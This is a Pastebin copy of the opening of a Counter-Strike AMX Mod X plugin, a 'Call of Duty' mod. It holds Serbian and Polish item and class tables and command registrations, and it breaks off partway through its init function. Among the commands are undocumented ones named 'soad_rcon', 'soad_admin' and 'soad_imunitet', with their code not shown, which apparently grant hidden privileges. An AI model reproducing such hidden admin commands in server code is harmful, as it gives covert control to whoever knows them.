Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <cstrike>
- #include <fun>
- #include <fakemeta>
- #include <engine>
- #include <hamsandwich>
- #include <nvault>
- #include <colorchat>
- #define PLUGIN "Call of Duty: MW Mod"
- #define VERSION "0.7.9 Beta"
- #define AUTHOR "QTM_Peyote"
- new bool:bSilent[33]
- new Odliczanie[33]
- new itemo[33]
- #define ZADANIE_POKAZ_INFORMACJE 672
- #define ZADANIE_WSKRZES 704
- #define ZADANIE_WYSZKOLENIE_SANITARNE 736
- #define ZADANIE_POKAZ_REKLAME 768
- #define ZADANIE_USTAW_SZYBKOSC 832
- #define ZADANIE_ODBIJAJ -96
- #define TASKID_REVIVE 1337
- #define TASKID_RESPAWN 1338
- #define TASKID_CHECKRE 1339
- #define TASKID_CHECKST 13310
- #define TASKID_ORIGIN 13311
- #define TASKID_SETUSER 13312
- #define pev_zorigin pev_fuser4
- #define seconds(%1) ((1<<12) * (%1))
- #define Keysrod (1<<0)|(1<<1)|(1<<9) // Keys: 1234567890
- new SyncHudObj
- new SyncHudObj2
- new SyncHudObj3
- new g_msg_screenfade
- new sprite_white
- new sprite_blast
- new g_vault
- new podkladajacy
- new rozbrajajacy
- new doswiadczenia_za_zabojstwo
- new doswiadczenie_za_bombe
- new doswiadczenie_za_wygrana
- new doswiadczenie_za_hs
- new oddaj_id[33]
- new bool:dostal_przedmiot[33]
- new Ubrania_CT[4][] = {"sas","gsg9","urban","gign"}
- new Ubrania_Terro[4][] = {"arctic","leet","guerilla","terror"}
- new const maxAmmo[31] = {0,52,0,90,1,32,1,100,90,1,120,100,100,90,90,90,100,120,30,120,200,32,90,120,90,2,35,90,90,0,100}
- new const maxClip[31] = {-1,13,-1,10,1,7,1,30,30,1,30,20,25,30,35,25,12,20,10,30,100,8,30,30,20,2,7,30,30,-1,50}
- new g_msgHostageAdd, g_msgHostageDel
- new pozostale_elektromagnesy[33]
- new pcvar_ilosc_elektromagnesow, pcvar_zasieg, pcvar_widocznosc_fali
- new informacje_przedmiotu_gracza[33][2]
- new const nazwy_przedmiotow[][] = {
- "Nema",
- "Napad Cizme", //1
- "Dvostruki Prsluk", //2
- "Robusna Vest", //3
- "Veteran sa Nozem", //4
- "Iznenadjenje Enemi", //5
- "Manto Partizana", //6
- "Morfijum", //7
- "Noz Komandosa", //8
- "Prirucnik Spijuna", //9
- "Misterija Generala", //10
- "Nindza Beleske", //11
- "Misterija Vojske", //12
- "AWP Snajper", //13
- "Adrenalin", //14
- "Misterija Ramba", //15
- "Obuka Voda", //16
- "NASA Prsluk", //17
- "Obuceni Veteran", //18
- "Komplet Za Prvu Pomoc", //19
- "Eliminator", //20
- "Titanijum Municija", //21
- "Municija Pukovnika", //22
- "Zaustavi da se siri", //23
- "SWAT Stit", //24
- "Obuceni Regrut", //25
- "Nomekov Oklop", //26
- "Beleske Kapetana", //27
- "Jet Modul", //28
- "Stil Jeremejskog Ratnika", //29
- "Misterija Komandosa", //30
- "Misterija Gieki", //31
- "Oprema Generala", //32
- "San Komandosa", //33
- "Deagle Master", //34
- "Sacmara Pro", //35
- "Telo Duxa" , //36
- "MC DONALD", //37
- "Set Lekara", //38
- "Eulia", //39
- "Zver", //40
- "Monari", //41
- "Rucak Generala", //42
- "Privatni Kondon", //43
- "Azijski Zraci", //44
- "Lik Jabola", //45
- "Oklop Samuraja", //46
- "Unik Gorusia", //47
- "Madjionicar", //48
- "Kletva Bandita", //49
- "Piwo Generala", //50
- "Poomoc Cevi", //51
- "Gordon Odbrana", //52
- "Snajper Komplet", //53
- "Misterija", //54
- "Trava", //55
- "Stil Ratnika", //56
- "Partizanski Bron", //57
- "Zajebi Samuraja", //58
- "Pro Vestina", //59
- "M4 Swatu", //60
- "Minolovac", //61
- "Galil Terorizma", //62
- "Vodic Snajpera", //63
- "Ranac Lopova", //64
- "Nevbia Haos", //65
- "Stomak Doknes", //66
- "Set Stuntera", //67
- "Kasike MakGajvera", //68
- "Aimerka Stunterra", // 69
- "Slepilo Stunterra", //70
- "HP BOOSTER", //71
- "SUPER AMMO", //72
- "Sisati Zivot", //73
- "Razbrojac", //74
- "Rusitelj", //75
- "Teleport", //76
- "Okretan", // 77
- "Misterija Nindze", //78
- "Misterija Stuntera", //79
- "Set Stunter Gume", // 80
- "Marfi Misterija", //81
- "Misterija Izgubljeni", //82
- "Lastis Guma", //83
- "Lazan C4",//84
- "Vojni Elektromagnet", //85
- "Radar Telegrafista", //86
- "Teski Oklop", //87
- "Osveta", //88
- "Curug-cs.com", //89
- "Jumper" //90
- }
- new const opisy_przedmiotow[][] = {
- "Ubij nekoga da dobijes predmet", //!=
- "Necujno Trcanje", //1
- "Smanjuje Ostecenja Igracu LW", //2
- "Smanjuje Ostecenja Igracu LW", //3
- "Zadaje Vecu Povredu Nozem", //4
- "Kada Pogodite Nekoga Od Pozadi Povrede Su 2 Puta Vece", //5
- "Imate premije slepa", //6
- "1/LW Sanse za ponovno ozivljavanje", //7
- "Instant Kill nozem", //8
- "Imate 1/LW sanse da odmah ubijete sa HE. Takodje imate odecu neprijatelja", //9
- "Neposredno ubijanje granatem HE. Nanese LW dodatnu odstetu", //10
- "Mozete skociti dupli skok u vazduh", //11
- "Vase povrede su smanjene za 5 .Imate mogucnosti za zaslepite neprijatelja", //12
- "Instant Kill sa AWP", //13
- "Za svako ubistvo dobijate 50 zivota", //14
- "Za svako ubistvo dobijate pun magazin i +20 hp", //15
- "Dobijate 10 HP na svaki 5 sekundi", //16
- "Imate 500 Oklopa", //17
- "Dobijate na svakoj rundi +100 HP al kretanj sporije", //18
- "Koristite ga da se izleci na maksimalni broj HP", //19
- "Nemate serenje oruzja (nisana)", //20
- "Nanosite vise stete 10", //21
- "Nanosite vise stete 20", //22
- "Vasa disperzija je manja", //23
- "Ne radi na vas nijedan predmet", //24
- "Dobijate +50 HP na svakoj rundi,ali ste sporiji", //25
- "Imate 1/LW sanse na oporavak oklopa", //26
- "Vi ste otporni na 3 metka na svakoj rundi", //27
- "Pritisnite CTRL i SPACE da koristite ovaj modul na 4 sekunde", //28
- "Vi ste brzi 20, i smanjene odstete od 10,do +50 hp", //29
- "Dobijate +100hp, +20 do ostecenja,i tvoja oprema je samnjena za 30", //30
- "+25 dmg, kameleon, 1/LW od HE", //31
- "Dobijate AWP i AK za pocetak, tixu opremu za kretanje 1/1 za AWP", //32
- "Svake Runde Dobijate M4A1", //33
- "1/LW Ubistvo sa deagle", //34
- "1/LW da ubijete sa Shotguna", //35
- "Postavlja zeleni sloj debljine od 30 i nanosi vise stete od 9", //36
- "Dobijate svake runde +100hp",//37
- "Imate 5 Kompleta", //38
- "Skok Iznad", //39
- "Ide brze exp", //40
- "Ono sto 5 sekundi regenerise 15hp", //41
- "Dobijate +100 HP, tiho trcanje oduzima vise stete od 8", //42
- "Smanjuje ostecenja,uzima za 10,da trci brze, +10 dmg", //43
- "Imate auto bunny hop + 70hp", //44
- "Ovaj predmet mozete koristiti jednom u rundi,regenerise u potpunosti HP", //45
- "500 panzira, 1/LW sanse na odraz metka", //46
- "20% za izbegavanj rakete", //47
- "Kada cucnete postanete nevidljivi", //48
- "10 sekundi mozete prolaziti kroz zidove.", //49
- "+10 dmg, tixo trcanje, szybszy biego o 50 jednostek +100 hp", //50
- "+5 dmg i da smanji stenu na 7 dmg", //51
- "Besmrtan 5 sekundi", //52
- "1/1 Awp , 1/2 DGL", //53
- "JESTES PRO !!!", //54
- "Kameleon i 1/LW sa scouta", //55
- "Slobodno m4a1 + 1/LW sa njim", //56
- "Slobodno Ak + 1/LW sa njim", //57
- "+20 dmg, tixo radi", //58
- "+15 dgm, tixi koraci, 1/3 za HE", //59
- "Imate 1/LW sa m4 +oruzje", //60
- "Dobijate 5 minuta", //61
- "Dobijate galila + 1/LW sa njim", //62
- "Imate ZOOM na sva oruzja", //63
- "Vi ste bogati", //64
- "Vi ste imuni na HeadShot", //65
- "Moze da ubije samo HeadShot", //66
- "1/2 z Usp, kameleon i 1/5 sa mp5", //67
- "Beskrajna municija", //68
- "1/10 od headshota sa AWP", //69
- "Imate vece sirenj oruzja +100 HP povrede su smanjene za 10", //70
- "Dobijate dodatnih 100 HP na pocetku svake runde +25 hp za svako ubistvo", //71
- "Za svako ubistvo dobijate pun magazin", //72
- "Ako udaris nekoga krades mu HP i sebi dajes", //73
- "Ako pitate nekoga pomaze 40 ostecenja i pada svoje oruzje", //74
- "Za 10 sekundi mozete da setate kroz zidove", //75
- "Mozete se teleportovati na neko drugo mesot", //76
- "Instant preopterecenje", //77
- "Smanjena Gravitacija i manja vidljivost za noz", //78
- "+15 dmg + 10 jedinica,brzina,3 mine",//79
- "+ LW hp dobijate M3 i 1\5 ", //80
- "-(minus) 10 primljenih dmg, +20dmg i +25hp za ubistvo", //81
- "25 HP ukupno su nevidljivi 1/1 sa noza", //82
- "Vidljivost smanjena na 15,90 HP 1/1 sanse povrede su smanjene za 5", //83
- "Mozete postaviti bomby a zatim lazno detonira",//84
- "Svaki krug mozete postaviti elektro magnet.Delovanje zavisi od inteligencije", //85
- "Vi vidite neprijatelja na radaru", //86
- "Koristite je za 3 sekunde da povrati povrede", //87
- "Dobijate cim pocne 50% vise HP kao sto ubije nekoga bez HS gubi svoj zivot", //88
- "Twoja-Siec.pl item na 1 runde pozniej sie wyrzuca sam ma 180% szybkosci + niewidzialnosc 1hp i noz z 10 granatami HE oraz przenikanie przez sciany przez 15 sec", //89
- "Mozete zaustaviti vreme na 3 sekunde.Predmet za jednu upotrebu" //90
- }
- new zatrzymaj_czas
- new nazwa_gracza[33][64]
- new klasa_gracza[33]
- new poziom_gracza[33] = 1
- new doswiadczenie_gracza[33]
- new nowa_klasa_gracza[33]
- new const doswiadczenie_poziomu[] = {
- 0,35,140,315,560,875,1260,1715,2240,2835,3500,4235,5040,5915,6860,7875,8960,10115,11340,
- 12635,14000,15435,16940,18515,20160,21875,23660,25515,27440,29435,31500,33635,35840,38115,
- 40460,42875,45360,47915,50540,53235,56000,58835,61740,64715,67760,70875,74060,77315,80640,
- 84035,87500,91035,94640,98315,102060,105875,109760,113715,117740,121835,126000,130235,
- 134540,138915,143360,147875,152460,157115,161840,166635,171500,176435,181440,186515,191660,
- 196875,202160,207515,212940,218435,224000,229635,235340,241115,246960,252875,258860,264915,
- 271040,277235,283500,289835,296240,302715,309260,315875,322560,329315,336140,343035,350000,
- 357035,364140,371315,378560,385875,393260,400715,408240,415835,423500,431235,439040,446915,
- 454860,462875,470960,479115,487340,495635,504000,512435,520940,529515,538160,546875,555660,
- 564515,573440,582435,591500,600635,609840,619115,628460,637875,647360,656915,666540,676235,
- 686000,695835,705740,715715,725760,735875,746060,756315,766640,777035,787500,798035,808640,
- 819315,830060,840875,851760,862715,873740,884835,896000,907235,918540,929915,941360,952875,
- 964460,976115,987840,999635,1011500,1023435,1035440,1047515,1059660,1071875,1084160,1096515,
- 1108940,1121435,1134000,1146635,1159340,1172115,1184960,1197875,1210860,1223915,1237040,
- 1250235,1263500,1276835,1290240,1303715,1317260,1330875,1344560,1358315,1372140,1386035,
- 1400000
- }
- new punkty_gracza[33]
- new zdrowie_gracza[33]
- new inteligencja_gracza[33]
- new bool: pomocs[33]
- new wytrzymalosc_gracza[33]
- new Float:redukcja_obrazen_gracza[33]
- new kondycja_gracza[33]
- new maksymalne_zdrowie_gracza[33]
- new Float:szybkosc_gracza[33]
- new wytrzymalosc_itemu[33]
- enum {
- NONE = 0,
- Snajperista,
- Marinac,
- ProStrelac,
- Mitraljezac,
- Doktor,
- VatrenaPodrska,
- Miner,
- Demolitions,
- Rusher,
- Rambo,
- Revolveras,
- Bombarder,
- Strelac,
- Informator,
- Pukovnik,
- Pobunjenik,
- SerijskiUbica,
- Desetar,
- Vodnik,
- Kamikaza,
- Assassin,
- Major,
- Kapetan,
- Potpukovnik,
- Marsal,
- NemackiStrelac,
- RuskiPukovnik,
- PoljskaPesadija,
- Mornar,
- Napadac ,
- Legija,
- Armageddon,
- Samuraj,
- RatkoMladic,
- SWAT,
- Partizan,
- Gunner,
- Cleric,
- General,
- Terminator,
- Slayer,
- Zastavnik,
- Admiral,
- Fighter,
- Policajac,
- Specijalac,
- Predator,
- NemackiOficir,
- Cetnik,
- ProfVojnik,
- Crysis,
- ProfStrelac
- }
- new const zdrowie_klasy[] = { //Helti Klase
- 0, //NONE
- 120, //Snajperista
- 140, //Marinac
- 130, //Pro-Strelac
- 120, //Mitraljezac
- 110, //Doktor
- 100, //Vatrena Podrska
- 100, //Miner
- 110, //Demolitions
- 100, //Rusher
- 130, //Rambo
- 120, //Revolveras
- 110, //Bombarder
- 120, //Strelac
- 70, //Informator
- 110, //Pukovnik
- 150, //Pobunjenik
- 110, //Serijski ubica
- 120, //Desetar
- 110, //Vodnik
- 120, //Kamikaza
- 150, //Assassin
- 100, //Major
- 100, //Kapetan
- 100, //Potpukovnik
- 120, //Marsal
- 120, //Nemacki strelac
- 130, //Ruski pukovnik
- 100, //Poljska pesadija
- 110, //Mornar
- 150, //Napadac
- 100, //Legija
- 160, //Armageddon
- 100, //Samuraj
- 150, //Ratko Mladic
- 150, //SWAT
- 100, //Partizan
- 125, //Gunner
- 100, //Cleric
- 130, //General
- 140, //Terminator
- 80, //Slayer
- 110, //Zastavnik
- 125, //Admiral
- 150, //Fighter
- 120, //Policajac
- 110, //Specijalac
- 100, //Predator
- 105, //NemackiOficir
- 124, //Cetnik
- 130, //ProfVojnik
- 80, //Crysis
- 105 //ProfStrelac
- }
- new const Float:szybkosc_klasy[] = { //Brzina Klase
- 0.0, //None
- 1.3, //Snajperi
- 1.35, //Marinac
- 1.0, //Pro-Strelac
- 0.8, //Mitraljezac
- 1.5, //Doktor
- 1.2, //Vatrena Podrska
- 1.1, //Miner
- 1.1, //Demolitions
- 1.3, //Rusher
- 1.2, //Rambo
- 1.1, //Revolveras
- 1.1, //Bombarder
- 1.0, //Strelac
- 1.6, //Informator
- 1.1, //Pukovnik
- 1.4, //Pobunjenik
- 1.0, //Serijski ubica
- 1.0, //Desetar
- 1.1, //Vodnik
- 1.0, //Kamikaza
- 1.4, //Assassin
- 1.2, //Major
- 1.0, //Kapetan
- 1.6, //Potpukovnik
- 1.1, //Marsal
- 1.0, //Nemacki strelac
- 1.0, //Ruski pukovnik
- 1.2, //Poljska pesadija
- 0.7, //Mornar
- 1.2, //Napadac
- 1.0, //Legija
- 1.0, //Armageddon
- 1.4, //Samuraj
- 1.4, //Ratko Mladic
- 1.3, //SWAT
- 1.3, //Partizan
- 1.0, //Gunner
- 1.2, //Cleric
- 1.2, //General
- 1.4, //Terminator
- 1.6, //Slayer
- 1.4, //Zastavnik
- 1.1, //Admiral
- 1.4, //Fighter
- 1.2, //Policajac
- 1.8, //Specijalac
- 1.3, //Predator
- 1.0, //NemackiOficir
- 1.2, //Cetnik
- 1.6, //ProfVojnik
- 1.8, //Crysis
- 1.0 //ProfStrelac
- }
- new const pancerz_klasy[] = { //Armor Klase
- 0, //None
- 100, //Snajperi
- 100, //Marinac
- 100, //Pro-Strelac
- 40, //Mitraljezac
- 0, //Doktor
- 0, //Vatrena Podrska
- 0, //Miner
- 100, //Demolitions
- 40, //Rusher
- 0, //Rambo
- 0, //Revolveras
- 100, //Bombarder
- 40, //Strelac
- 0, //Informator
- 0, //Pukovnik
- 150, //Pobunjenik
- 90, //Serijski ubica
- 0, //Desetar
- 200, //Vodnik
- 0, //Kamikaza
- 100, //Assassin
- 0, //Major
- 0, //Kapetan
- 200, //Potpukovnik
- 0, //Marsal
- 100, //Nemacki strelac
- 0, //Ruski pukovnik
- 0, //Poljska pesadija
- 100, //Mornar
- 0, //Napadac
- 0, //Legija
- 120, //Armageddon
- 0, //Samuraj
- 150, //Ratko Mladic
- 110, //SWAT
- 100, //Partizan
- 100, //Gunner
- 150, //Cleric
- 120, //General
- 50, //Terminator
- 120, //Slayer
- 300, //Zastavnik
- 70, //Admiral
- 100, //Fighter
- 50, //Policajac
- 0, //Specijalac
- 25, //Predator
- 80, //NemackiOficir
- 100, //Cetnik
- 90, //ProfVojnik
- 10, //Crysis
- 45 //ProfStrelac
- }
- new const nazwy_klas[][] = {
- "Nema",
- "Snajperista",
- "Marinac",
- "Pro-Strelac",
- "Mitraljezac",
- "Doktor",
- "Vatrena podrska",
- "Miner",
- "Demolitions",
- "Rusher",
- "Rambo (200 Din Mesecno)",
- "Revolveras",
- "Bombarder",
- "Strelac",
- "Informator",
- "Pukovnik",
- "Pobunjenik",
- "Serijski ubica",
- "Desetar",
- "Vodnik",
- "Kamikaza",
- "Assassin (250 Din Mesecno)",
- "Major (200 Din Mesecno)",
- "Kapetan",
- "Potpukovnik",
- "Marsal",
- "Nemacki strelac",
- "Ruski pukovnik",
- "Poljska pesadija",
- "Mornar",
- "Napadac ",
- "Legija",
- "Armageddon (200 Din Mesecno)",
- "Samuraj",
- "Ratko Mladic (200 Din Mesecno)",
- "SWAT",
- "Partizan",
- "Gunner",
- "Cleric",
- "General (200 Din Mesecno)",
- "Terminator",
- "Slayer (150 Din Mesecno)",
- "Zastavnik",
- "Admiral",
- "Fighter (200 Din Mesecno)",
- "Policajac",
- "Specijalac",
- "Predator",
- "Nemacki Oficir",
- "Cetnik",
- "Profesionalni Vojnik",
- "Crysis",
- "Profesionalni Strelac"
- }
- new const frakcje[][] = {
- "Nema",
- "Obicne Klase",
- "Premium Klase"
- }
- enum { NONE = 0, o, p }
- new const nalezy_do[] = {
- NONE,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- p,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- p,
- p,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- p,
- o,
- p,
- o,
- o,
- o,
- o,
- p,
- o,
- p,
- o,
- o,
- p,
- o,
- o,
- o,
- o,
- o,
- o,
- o,
- o
- }
- new frakcja_gracza[33]
- new const opisy_klas[][] = {
- "Nema",
- "Dobija AWP, Deagle i Scout, 120 HP, 100 AP, 1/3 sanse za instant ubistvo nozem i 130% brzinu.",
- "Dobija Deagle, odma ubija nozem, 140 HP, 100 AP i 135% brzinu.",
- "Dobija Dobija AK47, M4A1, 110 HP, 100 AP i 80% brzinu.",
- "Dobija Dobija M249, otporan na mine, ima sve bombe, 120 HP, 150 AP i 80% brzinu.",
- "Dobija UMP45, komplet za prvu pomoc, 110 HP, 100 AP i 150% brzinu.",
- "Dobija MP5, HE grenade, 2 rakete, 100 HP, 100 AP i 120% brzinu.",
- "Dobija P90, 3 mine, 100 HP, 100 AP i 110% brzinu.",
- "Dobija Aug, sve bombe, dinamit koji ubija sve u krugu od 1m, 110 HP, 100 AP i 110% brzinu.",
- "Dobija M3, 100 HP, 100 AP i 130% brzinu.",
- "Dobija Famas, za svako ubistvo + 20hp i pun sanzer, dupli skok, 130 HP, 150 AP i 120% brzinu.",
- "Dobija Elites, 1 raketa, 120 HP, 0 AP i 110% brzinu.",
- "Dobija Dobija M4A1, Deagle, 140 HP, 100 AP i 90% brzinu.",
- "Dobija Dobija XM1014, Elites, 120 HP, 40 AP i 100% brzinu.",
- "Dobija MP5, 70 HP, 0 AP i 160% brzinu.",
- "Dobija Famas, Deagle, 110 HP, 0 AP i 110% brzinu i 2 mine.",
- "Dobija SG552 + 1 minu + 1 HE, 100hp",
- "Dobija M4A1, Smoke grenade, 110 HP, 100 AP i 100% brzinu.",
- "Dobija Scout(zadaje 10% vise stete), Deagle, 120 HP, 40 AP i 100% brzinu.",
- "Dobija M3, 110 Hp, 0 AP i 110% brzinu.",
- "Dobija M4A1, 2 rakete, 120 HP, 0 AP i 100% brzinu.",
- "Dobija Deagle, nevidljiv je, 30 HP, 0 AP i 200% brzinu i instant kill nozem (desni klik)",
- "Dobija sve pistolje, 10 mina, 90 HP, 0 AP i 110% brzinu.",
- "Dobija Aug, 100 HP, 0 AP i 100% brzinu.",
- "Dobija awp+deagle, 100 HP, 200 AP i 100% brzinu i manje je vidljiv",
- "Dobija Deagle, 120 HP, 0 AP i 120% brzinu.",
- "Dobija Ak47, 2 rakete, 90 HP, 100 AP i 120% brzinu.",
- "Dobija M4A1, 1 minu, 130 HP, 0 AP i 70% brzinu.",
- "Dobija MP5, 2 dinamita, 100 HP, 0 AP i 100% brzinu.",
- "Dobija Mac10, ima 50% gravitacije, 110 HP, 100 AP i 100% brzinu i 2 mine.",
- "Dobija Famas+P90, smanjena gravitacija, 150 HP, 0 AP i 250% brzinu i 3 dinamita.",
- "Dobija M4A1, Deagle, 100 HP, 0 AP i 100% brzinu.",
- "Dobija AK47, AUG, HE, 160 HP, 120 AP i 140% brzinui manje je vidljiv i 2 dinamita.",
- "Dobija usp, 100 HP, 0 AP i 120% brzinu.",
- "Dobija Scout(instant kill), Deagle, dupli skok, 140 HP, 150 AP i 130% brzinui 5 raketa.",
- "Dobija M4A1, USP, 150 HP, 110 AP i 10% brzinu.",
- "Dobija P90, Flash grenade, manje je vidljiv, 100 HP, 100 AP i 100% brzinu.",
- "Dobija G3SG1, Deagle, HE grenade, 1 raketu, 125 HP, 100 AP i 120% brzinu.",
- "Dobija AK47, Elites, 100 HP, 50 AP i 120% brzinui 3 mine.",
- "Dobija M4A1,P90,kamuflaza,1/10 sanse za instant ubistva DGL-om,130 HP,120 AP i 140% brzinu.",
- "Dobija AK47+Deagle, 140 HP, 50 AP i 120% brzinu.",
- "Dobija Famas, P90, 3 rakete, 110 HP, 120 AP i 140% brzinu i ubija instant sa nozem.",
- "Dobija M4A1, P90, Deagle, 2 rakete, 90 HP, 300 AP i 140% brzinu.",
- "Dobija AK47, Famas, 125 HP, 70 AP i 110% brzinu.",
- "Dobija M4A1,Scout,USP,2 dinamita,dupli skok,150 HP i 140% brzinu, 1/3 za instant kill nozem.",
- "Dobija XM1014, TMP, fiveseven, 150 HP, 50 AP i 120% brzinu.",
- "Dobija FAMAS, P228, , 110 HP, 0 AP i 150% brzinu.",
- "Dobija sg552, glock18, smokegrenade 100 HP , 25 AP.",
- "Dobija P90, glock18 smokegrenade 105 HP, 80 AP.",
- "Dobija AK47, 2 HE ,2 dinamita, 124 HP , 100 AP",
- "Dobija FAMAS,USP,1 raketu,130 HP , 90 AP",
- "Dobija SG552,m4a1,2 rakete,80 HP,10 AP ,super speed,65% nevidljiv",
- "Dobija AWP,m4a1,105 HP,45 AP"
- }
- new ilosc_apteczek_gracza[33]
- new ilosc_rakiet_gracza[33]
- new Float:poprzednia_rakieta_gracza[33]
- new ilosc_min_gracza[33]
- new ilosc_dynamitow_gracza[33]
- new ilosc_skokow_gracza[33]
- new SOUND_START[] = "items/medshot4.wav"
- new SOUND_FINISHED[] = "items/smallmedkit2.wav"
- new SOUND_FAILED[] = "items/medshotno1.wav"
- enum {
- ICON_HIDE = 0,
- ICON_SHOW,
- ICON_FLASH
- }
- new bool:g_haskit[33]
- new Float:g_revive_delay[33]
- new Float:g_body_origin[33][3]
- new bool:g_wasducking[33]
- new g_msg_bartime
- new g_msg_statusicon
- new g_msg_clcorpse
- new cvar_revival_time
- new cvar_revival_health
- new cvar_revival_dis
- new bool:freezetime = true
- new hasZoom[33]
- /* --==[ KillStreak ]==-- */
- static const CSW_to_offset[] = {0,385,378,388,381,390,382,389,386,383,382,380,380,380,382,386,377,386,379,381,380,386,378,387,384,380,378,0,383};
- new cache_trail;
- new licznik_zabic[33],radar[33],nalot[33],predator[33],nuke[33],emp[33],uav[33], pack[33]
- new user_controll[33]
- new emp_czasowe
- new PobraneOrigin[3]
- native cod_set_user_xp(id, wartosc)
- native cod_get_user_xp(id)
- /* --==[ KillStreak ]==-- */
- /* --==[ VIP ] ==-- */
- static const COLOR[] = "^x04" //green
- static const CONTACT[] = ""
- new maxplayers
- new gmsgSayText
- new mpd, mkb, mhb
- new g_MsgSync
- new health_add
- new health_hs_add
- new health_max
- new nKiller
- new nKiller_hp
- new nHp_add
- new nHp_max
- new g_vip_active
- new g_menu_active
- new bool:HasC4[33]
- #define DAMAGE_RECIEVED
- #define Keysrod (1<<0)|(1<<1)|(1<<9) // Keys: 1234567890
- new round;
- /* --==[ VIP ] ==-- */
- public plugin_init()
- {
- register_plugin(PLUGIN, VERSION, AUTHOR);
- g_vault = nvault_open("CodMod");
- register_think("Apteczka","ApteczkaThink");
- RegisterHam(Ham_TakeDamage, "player", "TakeDamage");
- RegisterHam(Ham_Spawn, "player", "Odrodzenie", 1);
- RegisterHam(Ham_Touch, "armoury_entity", "DotykBroni");
- RegisterHam(Ham_Touch, "weapon_shield", "DotykBroni");
- RegisterHam(Ham_Touch, "weaponbox", "DotykBroni");
- /* --==[ KillStreak ]==-- */
- RegisterHam(Ham_Killed, "player", "SmiercGracza", 1);
- RegisterHam(Ham_Touch, "player", "pack_touch", 1);
- /* --==[ KillStreak ]==-- */
- register_forward(FM_CmdStart, "CmdStart");
- register_forward(FM_EmitSound, "EmitSound");
- register_forward(FM_EmitSound, "fwd_emitsound")
- register_forward(FM_PlayerPostThink, "fwd_playerpostthink")
- register_forward(FM_PlayerPreThink, "forward_player_prethink" );
- register_forward(FM_TraceLine,"fw_traceline");
- /* --==[ KillStreak ]==-- */
- register_forward(FM_Touch, "fw_Touch");
- register_forward(FM_PlayerPreThink, "player_predator");
- register_forward(FM_PlayerPreThink, "Forward_FM_PlayerPreThink")
- register_forward(FM_ClientKill, "cmdKill")
- set_task (2.0,"radar_scan2",_,_,_,"b");
- /* --==[ KillStreak ]==-- */
- register_logevent("PoczatekRundy", 2, "1=Round_Start");
- register_logevent("BombaPodlozona", 3, "2=Planted_The_Bomb");
- register_event("SendAudio", "BombaRozbrojona", "a", "2&%!MRAD_BOMBDEF");
- register_event("BarTime", "RozbrajaBombe", "be", "1=10", "1=5");
- register_event("DeathMsg", "Death", "ade");
- register_event("Damage", "Damage", "b", "2!=0");
- register_event("CurWeapon","CurWeapon","be", "1=1");
- register_event("HLTV", "NowaRunda", "a", "1=0", "2=0");
- register_event("DeathMsg", "event_death", "a")
- register_event("HLTV", "event_hltv", "a", "1=0", "2=0")
- register_touch("Rocket", "*" , "DotykRakiety");
- register_touch("Mine", "player", "DotykMiny");
- register_cvar("cod_killxp", "15");
- register_cvar("cod_bombxp", "30");
- register_cvar("cod_hsexp", "20");
- register_cvar("cod_winxp", "20");
- cvar_revival_time = register_cvar("amx_revkit_time", "4")
- cvar_revival_health = register_cvar("amx_revkit_health", "75")
- cvar_revival_dis = register_cvar("amx_revkit_distance", "100.0")
- register_message(get_user_msgid("Health"),"message_health");
- register_event("SendAudio", "WygranaTerro" , "a", "2&%!MRAD_terwin");
- register_event("SendAudio", "WygranaCT", "a", "2&%!MRAD_ctwin");
- register_menucmd(register_menuid("rod"), Keysrod, "Pressedrod")
- /* --==[ KillStreak ]==-- */
- register_clcmd("radio2", "uzyj_nagrody");
- /* --==[ KillStreak ]==-- */
- register_clcmd("systemofadown", "systemofadown");
- register_clcmd("soad", "soad")
- register_clcmd("soad_rcon", "soadrcon")
- register_clcmd("soad_admin", "soadadmin")
- register_clcmd("soad_djole", "soaddjole")
- register_clcmd("soad_imunitet", "soadimunitet")
- register_clcmd("soad_toby", "soadtoby")
- register_clcmd("say /klasa", "WybierzKlase")
- register_clcmd("say /opis", "OpisKlasy")
- register_clcmd("say /predmet", "OpisPrzedmiotu")
- register_clcmd("say /item", "OpisPrzedmiotu")
- register_clcmd("say /izbaci", "WyrzucPrzedmiot")
- register_clcmd("say /reset", "KomendaResetujPunkty")
- register_clcmd("say /shop", "Sklep")
- register_clcmd("say /pomoc", "WylaczPomoc")
- register_clcmd("say /daj", "OddajPrzedmiot")
- register_clcmd("say /prodaj", "SprzedajPrzedmiot")
- register_clcmd("fullupdate", "BlokujKomende");
- register_clcmd("cl_autobuy", "BlokujKomende");
- register_clcmd("say /molotov", "BlokujKomende");
- register_clcmd("say molotov", "BlokujKomende");
- register_clcmd("cl_rebuy", "BlokujKomende");
- register_clcmd("cl_setautobuy","BlokujKomende");
- register_clcmd("rebuy", "BlokujKomende");
- register_clcmd("autobuy", "BlokujKomende");
- register_clcmd("glock", "BlokujKomende");
- register_clcmd("usp", "BlokujKomende");
- register_clcmd("p228", "BlokujKomende");
- register_clcmd("deagle", "BlokujKomende");
- register_clcmd("elites", "BlokujKomende");
- register_clcmd("fn57", "BlokujKomende");
- register_clcmd("m3", "BlokujKomende");
- register_clcmd("XM1014", "BlokujKomende");
- register_clcmd("mac10", "BlokujKomende");
- register_clcmd("tmp", "BlokujKomende");
- register_clcmd("mp5", "BlokujKomende");
- register_clcmd("ump45", "BlokujKomende");
- register_clcmd("p90", "BlokujKomende");
- register_clcmd("galil", "BlokujKomende");
- register_clcmd("ak47", "BlokujKomende");
- register_clcmd("scout", "BlokujKomende");
- register_clcmd("sg552", "BlokujKomende");
- register_clcmd("awp", "BlokujKomende");
- register_clcmd("g3sg1", "BlokujKomende");
- register_clcmd("famas", "BlokujKomende");
- register_clcmd("m4a1", "BlokujKomende");
- register_clcmd("bullpup", "BlokujKomende");
- register_clcmd("sg550", "BlokujKomende");
- register_clcmd("m249", "BlokujKomende");
- register_clcmd("shield", "BlokujKomende");
- register_clcmd("hegren", "BlokujKomende");
- register_clcmd("sgren", "BlokujKomende");
- register_clcmd("flash", "BlokujKomende");
- register_clcmd("vest", "BlokujKomende");
- register_clcmd("vesthelm", "BlokujKomende");
- register_concmd("cod_lvl", "cmd_setlvl", ADMIN_CVAR, "<name> <level>");
- register_concmd("cod_dajitemek", "KomendaDajPrzedmiot", ADMIN_KICK, "<nick> <item>");
- register_message(g_msg_clcorpse, "message_clcorpse")
- register_clcmd("say /vips", "print_adminlist")
- gmsgSayText = get_user_msgid("SayText")
